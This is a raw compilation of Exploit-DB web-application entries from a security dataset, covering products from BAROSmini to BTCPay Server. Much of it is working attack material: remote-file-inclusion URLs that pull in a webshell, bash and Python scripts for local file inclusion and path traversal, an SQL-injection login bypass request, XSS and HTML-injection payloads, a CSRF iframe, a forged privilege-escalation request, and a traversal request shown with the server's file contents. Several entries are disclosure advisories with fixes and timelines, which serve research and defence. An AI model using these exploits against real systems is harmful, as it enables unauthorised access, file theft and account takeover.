deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9724
Description: BAnner ROtation System mini - Multiple Remote File Inclusions
Type: webapps
Platform: multiple
Date: 2009-09-21
Author: EA Ngel

Exploit:
          +  BAROSmini - BAnner ROtation System mini Multiple Remote File Inclusion Vulnerability  +
                           

[@]======================================================================================================[@]
[+] Author	 	 : EA Ngel									 [+]
[+] Location    	 : Manado - Indonesia						                 [+]
[+] Situs          	 : www[dot]manadocoding[dot]net						    	 [+]					
[+] Contact        	 : engelpemula[at]gmail[dot]com							 [+]
[+] Download Script	 : http://sourceforge.net/projects/barosmini/    				 [+]	
[@]======================================================================================================[@]


[@]======================================================================================================[@]
[+] 3xpl0it		 : http://127.0.0.1/include/common_functions.php?baros_path=[webshell.txt?]      [+]
[+]                        http://127.0.0.1/include/lib/lib_users.php?main_path=[webshell.txt?]          [+]
[+]                        http://127.0.0.1/include/lib/lib_stats.php?main_path=[webshell.txt?]          [+]
[+]                        http://127.0.0.1/include/lib/lib_slots.php?main_path=[webshell.txt?]          [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Sp3ci4l Th4nks  	 : str0ke > basix > cr4wl3r > kamuiclone > Mr.C > steve_duma > cokiki > cyberlog [+] 
[+]                        arie_capedeh > doniskynet > rezagmas > g4pt3k > my_wisdom > hmei7 > k3nz0     [+]
[+]		           wishnu > bl4ck_3n91n3 > Mr.Crossbeam > kiddies > yadiyauri > zpy > moon_lee   [+]
[+]		           c6 > and friends                                                              [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Greetz t00		 : All Crew ManadoCoding [manadocoding.net]                                      [+]          
[+]                                                                                             	 [+]
[+]                        All Crew SekuritiOnline [sekuritionline.net]					 [+]
[@]======================================================================================================[@]


  
                                       [+] GOD BLESS ALL [+]

# milw0rm.com [2009-09-21]
Exploit-DB #50632
Description: BeyondTrust Remote Support 6.0 - Reflected Cross-Site Scripting (XSS) (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2022-01-05
Author: Malcrove

Exploit:
# Exploit Title: BeyondTrust Remote Support 6.0 - Reflected Cross-Site Scripting (XSS) (Unauthenticated)
# Google Dork: intext:"BeyondTrust" "Redistribution Prohibited"
# Date: 30/12/2021
# Exploit Author: Malcrove
# Vendor Homepage: https://www.beyondtrust.com/
# Version: v6.0 and earlier versions

Summary:

Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML. Remote attackers could acheive full admin access to the appliance, by tricking the administrator into creating a new admin account through an XSS/CSRF attack involving a crafted request to the /appliance/users?action=edit endpoint.


Vulnerability Details:

Affected Endpoint: /appliance/login
Affected Parameter: login[password]
Request Method: GET or POST


Proof of concept (POC):

By navigating to the below link from a modern web browser, alert(document.domain) Javascript method would be fired in the same context of Beyondtrust Remote Support domain.

http://<bomgar-host>/appliance/login?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password


Mitigation:

A fix has been released by the vendor in NSBase 6.1. It's recommended to update the vulnerable appliance base version to the latest version.

- Time-Line:

    April 6, 2021: Vulnerability advisory sent to the vendor (Beyondtrust)
    April 8, 2021: Recevied an initial reply from the vendor 
    Jun 10, 2021: The vendor released a fix for the vulnerability in NSbase 6.1
    Dec 30, 2021: The Responsible public disclosure


- Credits
Ahmed Aboul-Ela (Malcrove)
Exploit-DB #48708
Description: Bio Star 2.8.2 - Local File Inclusion
Type: webapps
Platform: multiple
Date: 2020-07-26
Author: SITE Team

Exploit:
# Exploit Title: Bio Star 2.8.2 - Local File Inclusion
# Authors: SITE Team (Rian Saaty, Bashaer AlHarthy, Safeyah Alhazmi)
# Google Dork: N/A
# Date of Exploit Release: 2020-07-13
# Exploit Author: SITE Team
# Vendor Homepage: https://www.supremainc.com/en/main.asp
# Software Link: https://www.supremainc.com/en/support/biostar-2-pakage.asp
# Version: Bio Star 2, Video Extension up to version 2.8.2
# Tested on: Windows
# CVE : CVE-2020-15050


#!/bin/bash

# Exploit Title: Video Extension of Bio Star up to 2.8.1 Local File Inclusion Exploit
# Authors: SITE Team (Rian Saaty, Bashaer AlHarthy, Safeyah Alhazmi)
# Google Dork: N/A
# Date of Exploit Release: 13/7/2020
# Exploit Author: SITE Team
# Vendor Homepage: https://www.supremainc.com/en/main.asp
# Software Link: https://www.supremainc.com/en/support/biostar-2-pakage.asp
# Version: Bio Star 2, Video Extension up to version 2.8.1
# Tested on: Windows
# CVE : CVE-2020-15050

echo "*********** SITE TEAM *********************"
echo "*********** Video Extension of Bio Star 2 Local File Inclusion Exploit ***********"
echo "*********** Rian Saaty, Bashaer AlHarthy, Safeyah Alhazmi  *********************"

 if [ -z "$*" ]; then echo "Usage Example: ./exploit.sh https://website/ ../../../../../../../../../../../../windows/win.ini"
echo "*******************************************"
else
args=("$@")
curl -X GET --path-as-is -k  ${args[0]}${args[1]}
fi
Exploit-DB #33995
Description: Blaze Apps 1.x - SQL Injection / HTML Injection
Type: webapps
Platform: multiple
Date: 2010-01-19
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/40212/info

Blaze Apps is prone to multiple SQL-injection vulnerabilities and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may exploit the HTML-injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is displayed, and launch other attacks.

The attacker may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Blaze Apps 1.4.0.051909 and prior are vulnerable. 

HTML Injection

<script>alert('Stored XSS')</script>

SQL Injection

aa' OR [SQL] OR 'a'='1
Exploit-DB #49759
Description: Blitar Tourism 1.0 - Authentication Bypass SQLi
Type: webapps
Platform: multiple
Date: 2021-04-13
Author: sigeri94

Exploit:
# Exploit Title: Blitar Tourism 1.0 - Authentication Bypass SQLi
# Date: 13 April 2021
# Exploit Author: sigeri94
# Vendor Homepage: https://sourcecodeaplikasi.info/source-code-aplikasi-biro-travel-berbasis-web/
# Software Link: https://codeload.github.com/satndy/Aplikasi-Biro-Travel/zip/master
# Version: 1.0

POST /travel/Admin/ HTTP/1.1
Host: 192.168.186.132
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.186.132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.186.132/travel/Admin/
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=0nr18qfifjk2f5o4kimk5ca312
Connection: close

username=admin%27+%23&[CREDENTIAL_REDACTED]=Log+in
Exploit-DB #52256
Description: Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation
Type: webapps
Platform: multiple
Date: 2025-04-17
Author: Kwangyun Keum

Exploit:
#Exploit Title: Blood Bank & Donor Management System 2.4 - CSRF Improper
Input Validation
# Google Dork: N/A
# Date: 2024-12-26
# Exploit Author: Kwangyun Keum
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system/
# Version: 2.4
# Tested on: Windows 10 / Kali Linux with Apache and MySQL
# CVE: CVE-2024-12955

## Description:
Blood Bank & Donor Management System v2.4 suffers from a Cross-Site Request
Forgery (CSRF) vulnerability due to the absence of CSRF tokens for critical
functionalities such as logout. An attacker can craft a malicious iframe
embedding the logout URL and trick a victim into clicking it. This results
in the victim being logged out without their consent.

## Steps to Reproduce:
1. Deploy Blood Bank & Donor Management System v2.4.
2. Log in as any user.
3. Use the following PoC to demonstrate the issue:

   ```html
   <html>
     <body>
       <iframe
         src="http://localhost/bbdms/logout.php"
         style="border:0px #FFFFFF none;"
         name="myLogoutFrame"
         scrolling="no"
         frameborder="1"
         marginheight="0px"
         marginwidth="0px"
         height="400px"
         width="600px"
         allowfullscreen>
       </iframe>
     </body>
   </html>
4. Save the above HTML code as logout_poc.html.
5.Open the file in a browser and click anywhere on the page to trigger the
logout.
Exploit-DB #51013
Description: Bookwyrm v0.4.3 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2022-09-20
Author: Akshay Ravi

Exploit:
# Exploit Title: Bookwyrm v0.4.3 - Authentication Bypass
# Date: 2022-08-4
# Exploit Author: Akshay Ravi
# Vendor Homepage: https://github.com/bookwyrm-social/bookwyrm
# Software Link: https://github.com/bookwyrm-social/bookwyrm/releases/tag/v0.4.3
# Version: <= 4.0.3
# Tested on: MacOS Monterey
# CVE: CVE-2022-2651
# Original Report Link: https://huntr.dev/bounties/428eee94-f1a0-45d0-9e25[PII_REDACTED]50/

Description: Email Verification Bypass Leads To Account Takeover in bookwyrm-social/bookwyrm v0.4.3 Due To Lack Of Ratelimit Protection

# Steps to reproduce:

1. Create a acount with victims email id
2. When the account is created, its ask for email confirmation via validating OTP	
Endpoint: https://site/confirm-email
3. Enter any random OTP and try to perfrom bruteforce attack and if otp matches, We can takeover that account
Exploit-DB #52482
Description: Boss Mini v1.4.0 - Local File Inclusion (LFI)
Type: webapps
Platform: multiple
Date: 2026-03-03
Author: andersoncezar048

Exploit:
# Exploit Title: Boss Mini v1.4.0 - Local File Inclusion (LFI)
# Date: 07/12/2023
# Exploit Author: nltt0
# Version: 1.4.0 (Build 6221)
# CVE: CVE-2023-3643

from requests import post 
from urllib.parse import quote
from argparse import ArgumentParser

banner = r"""
_____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                          |___/                  
                
        by nltt0 [https://github.com/nltt-br]
        
"""

print(banner)

try:
    parser = ArgumentParser(description='Local file inclusion [Boss Mini]')
    parser.add_argument('--domain', required=True, help='Application domain')
    parser.add_argument('--file', required=True, help='Local file')

    args = parser.parse_args()
    host = args.domain
    file = args.file
    url = '{}/boss/servlet/document'.format(host)
    file2 = quote(file, safe='')

    headers = {
        'Host': host,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange',
        'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host)
    }


    data = {
        'path': file2
    }

    try:
        req = post(url, headers=headers, data=data, verify=False)
        if req.status_code == 200:
            print(req.text)

    except Exception as e:
        print('Error in {}'.format(e))   
        

except Exception as e:
    print('Error in {}'.format(e))
Exploit-DB #9872
Description: boxalino 09.05.25-0421 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2009-10-20
Author: Axel Neumann

Exploit:
#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:  Boxalino
# Vendor:   Boxalino AG (www.boxalino.com)
# CVD ID:   CVE-2009-1479
# Subject:  Directory Traversal Vulnerabilities
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Axel Neumann <axel.neumann@csnc.ch>
# Date:     2009-10-20
#
#############################################################

Introduction
------------
An Directory Traversal vulnerability exists in the collaboration
platform Boxalino [1]. Remote exploitation of a directory traversal
vulnerability in Boxalino's product allows attackers to read arbitrary
files on the server file system with web server privileges.


Affected
--------
Vulnerable:
 * Boxalino (closed-source product)

Not vulnerable:
 * Unknown

Not tested:
 * N/A


Technical Description
---------------------
When handling HTTP requests, Boxalino does not properly check for
directory traversal specifiers. Therefore, by including a sequence such
as "../../../", an attacker is able to read files outside of the
intended location. The vulnerability exists for both, Windows and UNIX
based systems.

POST /boxalino/client/desktop/default.htm HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
Host: www.example.ch
Content-Length: 256
Cookie: JSESSIONID=A57AABD5F2051C4333F500EBB1232295
Connection: Close
Pragma: no-cache

url=../../../../../../../../boot.ini&login_loginName=example&login_login[CREDENTIAL_REDACTED]_cmd_logon=Login&defaultAction=Example&login_cmd_logon_resultPage=%2Fboxalino%2Fclient%2Fdesktop%2Fdefault%2Ehtm


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Tues, 01 Jan 1980 00:00:00 GMT
Content-Type: text/html
Content-Length: 208
Date: Wed, 29 Apr 2009 09:01:06 GMT
Connection: close


[boot loader] timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003,
Standard" /noexecute=optout /fastdetect


Workaround / Fix
----------------
Update to Boxalino Version 09.05.25-0421


Timeline
--------
2009-10-20:	Advisory Release
2009-05-26:     Release of fixed Boxalino Version / Patch
2009-05-25:     Initial vendor response
2009-04-30:     Initial vendor notification
2009-04-29:     Assigned CVE-2009-1479
2009-04-29:     Discovery by Axel Neumann


References
----------
[1] http://www.boxalino.com/
Exploit-DB #51930
Description: Broken Access Control - on NodeBB v3.6.7
Type: webapps
Platform: multiple
Date: 2024-03-28
Author: Vibhor Sharma

Exploit:
Exploit Title: Broken Access Control - on NodeBB v3.6.7

Date: 22/2/2024

Exploit Author: Vibhor Sharma

Vendor Homepage: https://nodebb.org/

Version: 3.6.7

Description:

I identified a broken access control vulnerability in nodeBB v3.6.7,
enabling attackers to access restricted information intended solely
for administrators. Specifically, this data is accessible only to
admins and not regular users. Through testing, I discovered that when
a user accesses the group section of the application and intercepts
the response for the corresponding request, certain attributes are
provided in the JSON response. By manipulating these attributes, a
user can gain access to tabs restricted to administrators. Upon
reporting this issue, it was duly acknowledged and promptly resolved
by the developers.



Steps To Reproduce:
1) User with the least previlages needs to neviagte to the group section.
2) Intercept the response for the group requets.
3) In the response modify the certian paramters : "
*"system":0,"private":0,"isMember":true,"isPending":true,"isInvited":true,"isOwner":true,"isAdmin":true,
**" *".
4) Forward the request and we can see that attacker can access the
restricted information.

*Impact:*
Attacker was able to access the restricted tabs for the Admin group
which are only allowed the the administrators.
Exploit-DB #48649
Description: BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation
Type: webapps
Platform: multiple
Date: 2020-07-07
Author: William Summerhill

Exploit:
# Exploit Title: BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation
# Date: 2020-07-06
# Exploit Author: William Summerhill
# Vendor homepage: https://www.globalradar.com/
# Version: BSA Radar - Version 1.6.7234.24750 and lower
# CVE-2020-14945 - Privilege Escalation
Description: A privilege escalation vulnerability exists within Global RADAR BSA Radar 1.6.7234.X that allows an authenticated, low-privileged user to escalate their privileges to administrator rights (i.e. the "BankAdmin" role) via a forged request to the SaveUser API.

Proof of Concept:
	The privilege escalation is achieved by saving the response of the GetUser request (from clicking the username in the top right). When this profile is saved it will send a request to the SaveUserProfile endpoint. This response can be saved and modified (while updating it as needed to escalate privileges to BankAdmin role) then sent to the SaveUser endpoint which is the endpoint used for admins to update privileges of any user. After successful privilege escalation, a user can then access the Administration features and modify the application or accounts, cause further damage to the application and users, or exfiltrate application data.

	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/SaveUser

		{"user":
		{"UserID":<CURRENT USER ID>,"Username":"...","Firstname":"...","Lastname":"...","Email":"...","BranchID":"...","Role":"BANKADMIN","WireLimit":"XXXXXXX","BankID":"...","Permissions":["XXXXXXXXXXXXXXX"], <REMAINDER OF REQUEST HERE> } }

	The Role, WireLimit and Permissions parameters can be forged to forcefully change your current user permissions to elevate them to a higher role such as BankAdmin with full account modification permissions. 
	
Tested on: Windows

CVE: CVE-2020-14945

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14945
Exploit-DB #48666
Description: BSA Radar 1.6.7234.24750 - Local File Inclusion
Type: webapps
Platform: multiple
Date: 2020-07-14
Author: William Summerhill

Exploit:
# Exploit title: BSA Radar 1.6.7234.24750 - Local File Inclusion
# Date: 2020-07-08
# Exploit Author: William Summerhill
# Vendor homepage: https://www.globalradar.com/
# Version: BSA Radar - Version 1.6.7234.24750 and lower
# CVE-2020-14946 - Local File Inclusion

# Description: The Administrator section of the Surveillance module in Global RADAR - BSA Radar 1.6.7234.X 
# and lower allows users to download transaction files. When downloading the files, 
# a user is able to view local files on the web server by manipulating the FileName 
# and FilePath parameters in the URL, or while using a proxy. This vulnerability could 
# be used to view local sensitive files or configuration files on the backend server.

	Vulnerable endpoint: /UC/downloadFile.ashx

	The current user is required to have valid privileges to send requests to the target vulnerable endpoint.

Proof of Concept:

	HTTP Request PoC:

		VALID REQUEST:
		GET /UC/downloadFile.ashx?ID=XXXX&FileName=SOMEFILE.TXT&UploadStyle=1&UploadStyle=1&UploadSource=6

		LFI EXPLOIT REQUEST:
		GET /UC/downloadFile.ashx?ID=XXXX&FileName=C:\Windows\debug\NetSetup.log&UploadStyle=1&UploadSource=6

	The entire LFI path can be injected into the "FileName" parameter in order to enumerate existing files on the server. Other LFI files can be tested (such as the Windows hosts file) for further verification and disclosures.

Tested on: Windows

CVE: CVE-2020-14946

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14946
Exploit-DB #48619
Description: BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-06-24
Author: William Summerhill

Exploit:
# Exploit title: BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting
# Exploit Author: William Summerhill
# Date: 2020-06-22
# Vendor homepage: https://www.globalradar.com/
# Tested on: Window
# CVE-2020-14943

# Description: The "Firstname" and "Lastname" parameters in Global RADAR BSA Radar 1.6.7234.X 
# are vulnerable to a stored Cross-Site Scripting (XSS) via the Update User Profile feature 
# (in the top-right of the application).

# Proof of Concept:

Using the "update user profile" feature in the top-right of the application while logged in, 
a malicious user can inject malicious, unencoded scripts, such as "<script>alert(1)</script>", 
into the Firstname and Lastname parameters of a user account. This stored XSS will execute on 
nearly every application page as these parameters are always present while logged in. This attack 
can be further leveraged by utilizing an existing authorization bypass exploit (CVE-2020-14944) 
to inject stored XSS payloads into these parameters for arbitrary existing user accounts.

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14943
Exploit-DB #51254
Description: BTCPay Server v1.7.4 - HTML Injection
Type: webapps
Platform: multiple
Date: 2023-04-05
Author: Manojkumar J

Exploit:
# Exploit Title: BTCPay Server v1.7.4 - HTML Injection
# Date: 01/26/2023
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Vendor Homepage: https://github.com/btcpayserver/btcpayserver
# Software Link:
https://github.com/btcpayserver/btcpayserver/releases/tag/v1.7.5
# Version: <=1.7.4
# Tested on: Windows10
# CVE : CVE-2023-0493

# Description:

BTCPay Server v1.7.4 HTML injection vulnerability.

# Steps to exploit:

1. Create an account on the target website.

Register endpoint: https://target-website.com/register#

2. Move on to the API key and create API key with the html injection in the
label field.

Example:

<a href="https://hackerbro.in">clickhere</a>


3. Click remove/delete API key, the html injection will render.